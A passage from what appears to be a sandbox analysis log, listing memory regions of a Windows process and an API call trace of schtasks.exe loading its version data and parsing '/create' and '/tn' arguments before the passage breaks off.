0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1939 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1940 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1941 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1942 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1943 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 1944 start_va = 0x300000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 1945 start_va = 0x300000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 1946 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 1947 start_va = 0x490000 end_va = 0x617fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1948 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1949 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1950 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1951 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1952 start_va = 0x620000 end_va = 0x7a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000620000" filename = "" Region: id = 1953 start_va = 0x7b0000 end_va = 0x1baffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007b0000" filename = "" Region: id = 1954 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 1955 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1956 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 1957 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1958 start_va = 0x1bb0000 end_va = 0x1e7efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1959 start_va = 0x400000 end_va = 0x47cfff monitored = 0 entry_point = 0x40cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1960 start_va = 0x400000 end_va = 0x47cfff monitored = 0 entry_point = 0x40cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1961 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1962 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1963 start_va = 0x1e80000 end_va = 0x1f4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e80000" filename = "" Region: id = 1964 start_va = 0x1f50000 end_va = 0x202efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f50000" filename = "" Region: id = 1965 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1966 start_va = 0x20f0000 end_va = 0x216ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020f0000" filename = "" Region: id = 1967 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1968 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1969 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 1970 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1971 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 1972 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 1973 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1975 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 106 os_tid = 0xf04 [0060.441] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19fd00 | out: lpSystemTimeAsFileTime=0x19fd00*(dwLowDateTime=0x4d2854e0, dwHighDateTime=0x1d9eb0c)) [0060.441] GetCurrentProcessId () returned 0xf00 [0060.441] GetCurrentThreadId () returned 0xf04 [0060.441] GetTickCount () returned 0x1764b88 [0060.441] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x19fd08 | out: lpPerformanceCount=0x19fd08*=2486692421036) returned 1 [0060.441] GetModuleHandleW (lpModuleName=0x0) returned 0xff080000 [0060.441] __set_app_type (_Type=0x1) [0060.441] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff0a972c) returned 0x0 [0060.442] __wgetmainargs (in: _Argc=0xff0c1240, _Argv=0xff0c1250, _Env=0xff0c1248, _DoWildCard=0, _StartInfo=0xff0c125c | out: _Argc=0xff0c1240, _Argv=0xff0c1250, _Env=0xff0c1248) returned 0 [0060.443] _onexit (_Func=0xff0b2ab0) returned 0xff0b2ab0 [0060.443] _onexit (_Func=0xff0b2ac4) returned 0xff0b2ac4 [0060.443] _onexit (_Func=0xff0b2afc) returned 0xff0b2afc [0060.443] _onexit (_Func=0xff0b2b58) returned 0xff0b2b58 [0060.443] _onexit (_Func=0xff0b2b80) returned 0xff0b2b80 [0060.443] _onexit (_Func=0xff0b2ba8) returned 0xff0b2ba8 [0060.444] _onexit (_Func=0xff0b2bd0) returned 0xff0b2bd0 [0060.444] _onexit (_Func=0xff0b2bf8) returned 0xff0b2bf8 [0060.444] _onexit (_Func=0xff0b2c20) returned 0xff0b2c20 [0060.444] _onexit (_Func=0xff0b2c48) returned 0xff0b2c48 [0060.444] _onexit (_Func=0xff0b2c70) returned 0xff0b2c70 [0060.444] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0060.444] WinSqmIsOptedIn () returned 0x0 [0060.445] GetProcessHeap () returned 0x200000 [0060.445] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x215590 [0060.445] SetLastError (dwErrCode=0x0) [0060.445] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0060.445] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0060.445] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0060.446] VerifyVersionInfoW (in: lpVersionInformation=0x19f4c0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x19f4c0) returned 1 [0060.446] GetProcessHeap () returned 0x200000 [0060.446] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21bb50 [0060.446] lstrlenW (lpString="") returned 0 [0060.446] GetProcessHeap () returned 0x200000 [0060.446] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x2) returned 0x21bb70 [0060.446] GetProcessHeap () returned 0x200000 [0060.446] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215a80 [0060.446] GetProcessHeap () returned 0x200000 [0060.446] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21bb90 [0060.446] GetProcessHeap () returned 0x200000 [0060.446] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215ab0 [0060.446] GetProcessHeap () returned 0x200000 [0060.446] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215ae0 [0060.446] GetProcessHeap () returned 0x200000 [0060.446] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215b10 [0060.446] GetProcessHeap () returned 0x200000 [0060.446] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215b40 [0060.446] GetProcessHeap () returned 0x200000 [0060.446] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21bbb0 [0060.446] GetProcessHeap () returned 0x200000 [0060.446] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215b70 [0060.446] GetProcessHeap () returned 0x200000 [0060.446] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215ba0 [0060.446] GetProcessHeap () returned 0x200000 [0060.446] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215bd0 [0060.446] GetProcessHeap () returned 0x200000 [0060.446] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215c00 [0060.447] GetProcessHeap () returned 0x200000 [0060.447] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21bbd0 [0060.447] GetProcessHeap () returned 0x200000 [0060.447] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215c30 [0060.447] GetProcessHeap () returned 0x200000 [0060.447] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215c60 [0060.447] GetProcessHeap () returned 0x200000 [0060.447] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215c90 [0060.447] GetProcessHeap () returned 0x200000 [0060.447] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215cc0 [0060.447] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0060.447] SetLastError (dwErrCode=0x0) [0060.447] GetProcessHeap () returned 0x200000 [0060.447] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215cf0 [0060.447] GetProcessHeap () returned 0x200000 [0060.447] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215d20 [0060.447] GetProcessHeap () returned 0x200000 [0060.447] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215d50 [0060.447] GetProcessHeap () returned 0x200000 [0060.447] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215d80 [0060.447] GetProcessHeap () returned 0x200000 [0060.447] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215db0 [0060.447] GetProcessHeap () returned 0x200000 [0060.448] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21bbf0 [0060.448] _memicmp (_Buf1=0x21bbf0, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.448] GetProcessHeap () returned 0x200000 [0060.448] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x208) returned 0x21bd90 [0060.448] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x21bd90, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0060.448] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0060.451] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0060.451] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0060.453] GetProcessHeap () returned 0x200000 [0060.453] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x74e) returned 0x21c360 [0060.453] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0060.453] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x21c360 | out: lpData=0x21c360) returned 1 [0060.453] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0060.453] VerQueryValueW (in: pBlock=0x21c360, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x19f5a8, puLen=0x19f610 | out: lplpBuffer=0x19f5a8*=0x21c6fc, puLen=0x19f610) returned 1 [0060.458] _memicmp (_Buf1=0x21bbf0, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.458] _vsnwprintf (in: _Buffer=0x21bd90, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x19f588 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0060.459] VerQueryValueW (in: pBlock=0x21c360, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x19f618, puLen=0x19f608 | out: lplpBuffer=0x19f618*=0x21c528, puLen=0x19f608) returned 1 [0060.459] lstrlenW (lpString="schtasks.exe") returned 12 [0060.459] lstrlenW (lpString="schtasks.exe") returned 12 [0060.459] lstrlenW (lpString=".EXE") returned 4 [0060.459] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0060.460] lstrlenW (lpString="schtasks.exe") returned 12 [0060.460] lstrlenW (lpString=".EXE") returned 4 [0060.460] _memicmp (_Buf1=0x21bbf0, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.460] lstrlenW (lpString="schtasks") returned 8 [0060.461] GetProcessHeap () returned 0x200000 [0060.461] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215ea0 [0060.461] GetProcessHeap () returned 0x200000 [0060.461] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cc70 [0060.461] GetProcessHeap () returned 0x200000 [0060.461] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cca0 [0060.461] GetProcessHeap () returned 0x200000 [0060.461] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21ccd0 [0060.461] GetProcessHeap () returned 0x200000 [0060.461] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21bc10 [0060.461] _memicmp (_Buf1=0x21bc10, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.461] GetProcessHeap () returned 0x200000 [0060.461] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0xa0) returned 0x21c190 [0060.461] GetProcessHeap () returned 0x200000 [0060.462] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cd00 [0060.462] GetProcessHeap () returned 0x200000 [0060.462] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cd30 [0060.462] GetProcessHeap () returned 0x200000 [0060.462] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cd60 [0060.462] GetProcessHeap () returned 0x200000 [0060.462] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21bc30 [0060.462] _memicmp (_Buf1=0x21bc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.462] GetProcessHeap () returned 0x200000 [0060.462] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x200) returned 0x21d440 [0060.462] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x21d440, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0060.462] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0060.462] GetProcessHeap () returned 0x200000 [0060.462] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x30) returned 0x217c10 [0060.462] _vsnwprintf (in: _Buffer=0x21c190, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x19f588 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0060.463] GetProcessHeap () returned 0x200000 [0060.463] GetProcessHeap () returned 0x200000 [0060.463] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c360) returned 1 [0060.463] GetProcessHeap () returned 0x200000 [0060.463] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c360) returned 0x74e [0060.463] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c360 | out: hHeap=0x200000) returned 1 [0060.463] SetLastError (dwErrCode=0x0) [0060.463] GetThreadLocale () returned 0x409 [0060.464] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.464] lstrlenW (lpString="?") returned 1 [0060.464] GetThreadLocale () returned 0x409 [0060.464] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.464] lstrlenW (lpString="create") returned 6 [0060.464] GetThreadLocale () returned 0x409 [0060.464] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.464] lstrlenW (lpString="delete") returned 6 [0060.464] GetThreadLocale () returned 0x409 [0060.464] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.464] lstrlenW (lpString="query") returned 5 [0060.465] GetThreadLocale () returned 0x409 [0060.465] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.465] lstrlenW (lpString="change") returned 6 [0060.465] GetThreadLocale () returned 0x409 [0060.465] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.465] lstrlenW (lpString="run") returned 3 [0060.465] GetThreadLocale () returned 0x409 [0060.465] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.465] lstrlenW (lpString="end") returned 3 [0060.465] GetThreadLocale () returned 0x409 [0060.465] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.465] lstrlenW (lpString="showsid") returned 7 [0060.465] GetThreadLocale () returned 0x409 [0060.465] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.465] SetLastError (dwErrCode=0x0) [0060.465] SetLastError (dwErrCode=0x0) [0060.465] lstrlenW (lpString="/create") returned 7 [0060.466] lstrlenW (lpString="-/") returned 2 [0060.466] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0060.466] lstrlenW (lpString="?") returned 1 [0060.466] lstrlenW (lpString="?") returned 1 [0060.468] GetProcessHeap () returned 0x200000 [0060.468] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21c240 [0060.468] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.468] GetProcessHeap () returned 0x200000 [0060.468] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0xa) returned 0x21c360 [0060.469] lstrlenW (lpString="create") returned 6 [0060.469] GetProcessHeap () returned 0x200000 [0060.469] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21c380 [0060.469] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.469] GetProcessHeap () returned 0x200000 [0060.469] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x14) returned 0x21c3a0 [0060.469] _vsnwprintf (in: _Buffer=0x21c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|?|") returned 3 [0060.469] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|create|") returned 8 [0060.469] lstrlenW (lpString="|?|") returned 3 [0060.469] lstrlenW (lpString="|create|") returned 8 [0060.469] SetLastError (dwErrCode=0x490) [0060.469] lstrlenW (lpString="create") returned 6 [0060.469] lstrlenW (lpString="create") returned 6 [0060.469] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.469] GetProcessHeap () returned 0x200000 [0060.469] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c360) returned 1 [0060.469] GetProcessHeap () returned 0x200000 [0060.469] RtlReAllocateHeap (Heap=0x200000, Flags=0xc, Ptr=0x21c360, Size=0x14) returned 0x21c3c0 [0060.470] lstrlenW (lpString="create") returned 6 [0060.470] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.470] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|create|") returned 8 [0060.470] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|create|") returned 8 [0060.470] lstrlenW (lpString="|create|") returned 8 [0060.470] lstrlenW (lpString="|create|") returned 8 [0060.470] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0060.470] SetLastError (dwErrCode=0x0) [0060.470] SetLastError (dwErrCode=0x0) [0060.470] SetLastError (dwErrCode=0x0) [0060.470] lstrlenW (lpString="/tn") returned 3 [0060.470] lstrlenW (lpString="-/") returned 2 [0060.470] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0060.470] lstrlenW (lpString="?") returned 1 [0060.470] lstrlenW (lpString="?") returned 1 [0060.470] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.470] lstrlenW (lpString="tn") returned 2 [0060.470] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.470] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|?|") returned 3 [0060.470] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|tn|") returned 4 [0060.470] lstrlenW (lpString="|?|") returned 3 [0060.470] lstrlenW (lpString="|tn|") returned 4 [0060.470] SetLastError (dwErrCode=0x490) [0060.470] lstrlenW (lpString="create") returned 6 [0060.470] lstrlenW (lpString="create") returned 6 [0060.471] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.471] lstrlenW (lpString="tn") returned 2 [0060.471] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.471] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|create|") returned 8 [0060.471] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|tn|") returned 4 [0060.471] lstrlenW (lpString="|create|") returned 8 [0060.471] lstrlenW (lpString="|tn|") returned 4 [0060.471] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0060.471] SetLastError (dwErrCode=0x490) [0060.471] lstrlenW (lpString="delete") returned 6 [0060.471] lstrlenW (lpString="delete") returned 6 [0060.471] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.471] lstrlenW (lpString="tn") returned 2 [0060.471] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.471] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|delete|") returned 8 [0060.471] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|tn|") returned 4 [0060.471] lstrlenW (lpString="|delete|") returned 8 [0060.471] lstrlenW (lpString="|tn|") returned 4 [0060.471] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0060.471] SetLastError (dwErrCode=0x490) [0060.472] lstrlenW (lpString="query") returned 5 [0060.472] lstrlenW (lpString="query") returned 5 [0060.472] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.472] lstrlenW (lpString="tn") returned 2 [0060.472] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.472] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|query|") returned 7 [0060.472] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|tn|") returned 4 [0060.472] lstrlenW (lpString="|query|") returned 7 [0060.472] lstrlenW (lpString="|tn|") returned 4 [0060.472] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0060.472] SetLastError (dwErrCode=0x490) [0060.472] lstrlenW (lpString="change") returned 6 [0060.472] lstrlenW (lpString="change") returned 6 [0060.472] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.472] lstrlenW (lpString="tn") returned 2 [0060.472] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.472] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|change|") returned 8 [0060.472] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: 